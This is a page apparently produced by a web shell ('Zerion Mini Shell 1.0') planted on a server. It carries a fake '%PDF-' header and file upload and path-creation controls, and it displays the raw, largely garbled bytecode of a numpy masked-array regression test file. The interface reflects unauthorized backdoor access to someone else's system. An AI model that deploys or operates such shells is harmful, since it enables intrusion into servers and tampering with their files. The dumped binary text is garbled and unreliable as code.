%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /lib64/python3.9/site-packages/numpy/ma/tests/__pycache__/
Upload File :
Create Path :
Current File : //lib64/python3.9/site-packages/numpy/ma/tests/__pycache__/test_regression.cpython-39.opt-1.pyc

a

z[yc�@s2ddlZddlmZmZmZmZGdd�d�ZdS)�N)�assert_�assert_array_equal�assert_allclose�suppress_warningsc@steZdZdd�Zdd�Zdd�Zdd�Zd	d
�Zdd�Zd
d�Z	dd�Z
dd�Zdd�Zdd�Z
dd�Zdd�ZdS)�TestRegressioncCs4tjjgd�gd�d�}ttj�|�gd�g�dS)N)r���r���)rrrrrrrr��mask)rrr�)�np�ma�masked_arrayrZnonzero)�self�x�r�D/usr/lib64/python3.9/site-packages/numpy/ma/tests/test_regression.py�test_masked_array_creates�z'TestRegression.test_masked_array_createcCstjjddgd�dS)Nrr
)rr�array�rrrr�test_masked_arraysz TestRegression.test_masked_arraycCs>ddlm}m}t�d�}t�|j|�}|||�}||dS)Nr)�masked_where�MaskType)rr)Znumpy.marrr�zeros�shape)rrr�a�b�crrr�test_mem_masked_wheres


z$TestRegression.test_mem_masked_wherecCs6tj�d�}tjj|d<t�d�}||||dS)N)r
r)rr)r
r)rrrZmasked�rrr rrr�test_masked_array_multiplys

z)TestRegression.test_masked_array_multiplycCstjjdgdd��d�dS)NrFr
�
)rrr�repeatrrrr�test_masked_array_repeat"sz'TestRegression.test_masked_array_repeatcCsttj�d��dS)NZUnicode)�reprrrrrrrr�test_masked_array_repr_unicode&sz-TestRegression.test_masked_array_repr_unicodecCsFtjjgd�gd�d�}t�|�}t|jjdk�t|jjdk�dS)N)gg333333�?g@)FTFr
rr)rrrZ
atleast_2drr�ndimr#rrr�test_atleast_2d*s
zTestRegression.test_atleast_2dcCs0tjjgd�gd�d�}d|_t|jdk�dS)N)rr r!)rrrr
�X)rrrZ
fill_valuer)rrrrr�test_set_fill_value_unicode_py31sz.TestRegression.test_set_fill_value_unicode_py3cCsDtjjt�d�dd�}tjjdtd�}|j|d�t|jdk�dS)NrTr
����Zdtype)�outr)rrr�arange�float�varr�_data)rrZmoutrrr� test_var_sets_maskedarray_scalar7sz/TestRegression.test_var_sets_maskedarray_scalarcCs�tj�gd�d�}t�gd��}t��N}|�td�tjj||dd�}tjj||dd�}t|j	|j	�Wd�n1sz0YdS)N)rrr	r
rr
)rg@g������@r	rzbias and ddof have no effectr)Zddofr)
rrZmasked_equalrr�filter�DeprecationWarningZcorrcoefr�data)rr�y�supZr0Zr1rrr�test_ddof_corrcoef>sz!TestRegression.test_ddof_corrcoefcCsftjjddgddgd�}t|jjdk�t�|d�}t|jjdk�t|jdk�t|jjdk�dS)N��?�@Fr
)r)rr�rr)rr�MaskedArrayrrrZtiler#rrr�test_mask_not_backmangledJsz(TestRegression.test_mask_not_backmangledcCs.tjjgd�dd�}t|g|dd��dS)N))rr<)rr=)r	g@zi4,f4r/r)rrr?r�rrrrr�test_empty_list_on_structuredTsz,TestRegression.test_empty_list_on_structuredcCs.tj�d��d�}t|jdd�|j���dS)Nr
r>�F)�order)rrr1Zreshaper�tobytes�TrArrr�!test_masked_array_tobytes_fortranYsz0TestRegression.test_masked_array_tobytes_fortranN)�__name__�
__module__�__qualname__rrr"r$r'r)r+r-r5r;r@rBrGrrrrrs
r)ZnumpyrZ
numpy.testingrrrrrrrrr�<module>s

Zerion Mini Shell 1.0